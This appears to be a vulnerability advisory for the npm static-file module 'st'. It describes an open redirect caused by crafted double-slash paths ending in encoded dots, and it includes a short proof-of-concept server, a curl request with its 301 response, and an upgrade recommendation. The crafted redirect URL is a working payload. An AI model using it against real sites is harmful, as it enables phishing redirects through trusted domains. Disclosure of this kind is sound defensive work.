st is a module for serving static files. An attacker is able to craft a request that results in an HTTP 301 (redirect) to an entirely different domain. A request for: http://some.server.com//nodesecurity.org/%2e%2e would result in a 301 to //nodesecurity.org/%2e%2e which most browsers treat as a proper redirect as // is translated into the current schema being used. Mitigating factor: In order for this to work, st must be serving from the root of a server (/) rather than the typical sub directory (/static/) and the redirect URL will end with some form of URL encoded .. ("%2e%2e", "%2e.", ".%2e").
Affected: npm: st
st is a module for serving static files.
An attacker is able to craft a request that results in an `HTTP 301` (redirect) to an entirely different domain.
A request for: `http://some.server.com//nodesecurity.org/%2e%2e` would result in a 301 to `//nodesecurity.org/%2e%2e` which most browsers treat as a proper redirect as `//` is translated into the current schema being used.
**Mitigating factor:**
In order for this to work, `st` must be serving from the root of a server (`/`) rather than the typical sub directory (`/static/`) and the redirect URL will end with some form of URL encoded `..` ("%2e%2e", "%2e.", ".%2e").
Code example (provided by Xin Gao):
[example.js]
```js var st = require('st') var http = require('http') http.createServer(st(process.cwd())).listen(1337) ```
```shell $ curl -v http://localhost:1337//cve.mitre.com/%2e%2e * Trying ::1... * TCP_NODELAY set * Connected to localhost (::1) port 1337 (#0) > GET //cve.mitre.com/%2e%2e HTTP/1.1 > Host: localhost:1337 > User-Agent: curl/7.54.0 > Accept: */* > < HTTP/1.1 301 Moved Permanently < cache-control: public, max-age=600 < last-modified: Fri, 13 Oct 2017 22:56:33 GMT < etag: "16777220-46488904-1507935393000" < location: //cve.mitre.com/%2e%2e/ < Date: Fri, 13 Oct 2017 22:56:41 GMT < Connection: keep-alive < Content-Length: 30 < * Connection #0 to host localhost left intact ```
## Recommendation
Update to version 1.2.2 or later.